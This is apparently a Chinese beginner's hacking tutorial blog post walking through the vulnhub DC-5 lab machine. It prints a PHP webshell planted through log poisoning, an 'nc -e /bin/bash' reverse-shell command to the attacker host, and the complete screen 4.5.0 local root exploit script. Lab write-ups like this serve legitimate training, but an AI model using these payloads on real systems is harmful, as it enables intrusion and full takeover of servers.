黑客零基础第三章-Web漏洞实战-文件上传DC5

第五节内容讲述了文件包含漏洞LIF的利用原理,并在DVWA上进行了日志投毒结合LFI入侵的实验。本节以实战的方式,结合vulnhub靶机DC5让大家进一步熟练LFI结合日志投毒的实际应用。
如果靶机部署有疑问,请留言!

目录

1.信息收集

2.获取低权限shell

3.提权

 4.总结


​​​​​​​

1.信息收集

kali IP为192.168.17.4

发现靶机IP 192.168.17.8

使用第二章nmap命令扫描靶机,

nmap -p `nmap -p- --min-rate=10000 -T4 192.168.17.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sC -sV --min-rate=10000 192.168.17.8

扫描结果如下,

Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-23 10:44 EDT
Nmap scan report for 192.168.17.8
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind                                                                                                                                                            
|   100000  3,4          111/udp6  rpcbind                                                                                                                                                            
|   100024  1          35733/udp6  status
|   100024  1          41448/tcp6  status
|   100024  1          46892/udp   status
|_  100024  1          47115/tcp   status
47115/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:7F:98:E9 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds

打开网页,是一个类似门户的网站,

枚举后发现contact上存在一个信息输入。

 输入信息后,发现copyright 的信息由2009变为2020,疑似思LFI漏洞。

尝试了一下最简单的file,发现漏洞存在。

 

尝试打开access.log,发现能够打开,可以进行投毒。

2.获取低权限shell

投毒的一句话木马如下,

<?php system($_GET['cmd']) ?>

打开burp,刷新网页截获数据包,修改UA为一句话木马。

尝试触发一句话木马,成功!

在kali开启nc监听4444端口,浏览器输入以下连接,使用nc获取反向shell。

192.168.17.8/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.17.4 4444

3.提权

使用如下命令获取一个可交互式的shell,

python -c 'import pty;pty.spawn("/bin/bash")' 

 

使用该命令查看SUID的程序,这里是一个常见的提权枚举。发现screen程序可能存在漏洞。

find / -perm /4000 2>/dev/null 

 

seachsploit 命令查找该漏洞PoC,

将Poc拷贝到当前目录,

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

上面的Poc源码可以看出,整个Poc分为三部分,第一部分是编译出一个动态库的源码,第二部分是编译获取root shell的源码,第三部分是漏洞利用的脚本。

 

将Poc传到靶机,执行发现出错,这个错误可以通过dos2unix解决,

重新下载poc到靶机,执行后出错。

考虑把Poc三个部分分开执行,

 

编译第一部分动态链接库,

gcc -fPIC -shared -ldl -o libhax.so libhax.c

 编译第二部分root shell

gcc -o rootshell rootshell.c

 最终需要三个PoC如下,

 

 将三个文件传到靶机tmp目录,

 运行脚本,成功获取root,

 4.总结

靶机入口是一个门户网站,其中有一个页面存在LFI。测试能够通过LFI访问access.log。使用LFI+日志投毒成功获取低权限shell。

提权是一个SUID的screen提权,过程稍微复杂。

 

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 11
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值